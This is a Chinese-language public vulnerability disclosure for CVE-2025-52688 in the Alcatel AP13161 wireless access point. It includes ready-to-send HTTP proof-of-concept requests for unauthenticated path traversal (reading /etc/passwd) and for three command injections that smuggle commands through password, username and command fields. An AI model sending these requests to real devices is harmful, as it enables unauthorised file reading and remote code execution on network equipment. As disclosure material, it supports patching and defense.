CVE-2025-52688

受影响产品

Alcatel AP13161 - 企业级无线接入点

摘要

这里主要涉及两个漏洞：

• 多个JSON Web参数缺乏输入清理，允许注入 ; 等恶意字符，导致命令注入攻击
• fileName 参数缺乏适当的清理和访问控制，允许未经授权地任意读取服务器上的文件

此漏洞是在由 CSA（新加坡网络安全局）和 NTU 组织的 SPIRICYBER-24 IoT/OT 黑客马拉松期间发现的

POC

文件读取 POC

fileName 参数允许任何未经身份验证的用户查看系统上的任意文件。通过目录遍历，我们能够读取服务器上的敏感文件

POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"xxx",
    "method":"downloader.cert",
    "params":{
        "fileName":"/../../etc/passwd"
    }
}

RCE POC #1

/apiaccess 端点上的 password 参数易受未经身份验证的命令注入攻击，允许任何未经身份验证的用户执行系统命令

POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"system.getPvc",
    "params":{
        "username": "Administrator",
        "password":";echo pwned1234 > /tmp/test.txt"
    }
}

RCE POC #2

echo.fcgi 端点上的 username 参数易受未经身份验证的命令注入攻击，允许任何未经身份验证的用户执行系统命令

POST /echo.fcgi HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"Administrator",
    "method":"user.logout",
    "params":{
        "username": ";echo pwned > /tmp/test.txt",
        "Sessionid":""
    }
}

RCE POC #3

command 参数允许经过身份验证的用户执行系统函数和二进制文件以测试灯柱的功能。然而，由于输入过滤和黑名单不足，我们能够绕过过滤器执行经过身份验证的远程代码执行，允许任何登录用户执行系统命令

POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"expressmessage.call",
    "username":"Administrator",
    "session":"XXXXXX",
    "topic":"WMA/DC:XXXXXXX",
    "params":{
        "version":"3.0",
        "messageID":1,
        "macAddress":"DC:XXXXX",
        "option":"update",
        "method":"ap_manage.exce_command",
        "contents":{
            "command":"tech_support_command 9 127.0.0.1\nid"
       }
    }
}

时间线

2024-08-10: 报告提交给 SpiritCyber IoT 黑客马拉松分流团队

2024-08-20: 报告被分流团队接受

2025-06-25: CSA SingCert 分配 CVE-2025-52688

2025-07-14: 公开披露

公告

https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-072

https://www.al-enterprise.com/-/media/567414972b57459697030898f92ac043.pdf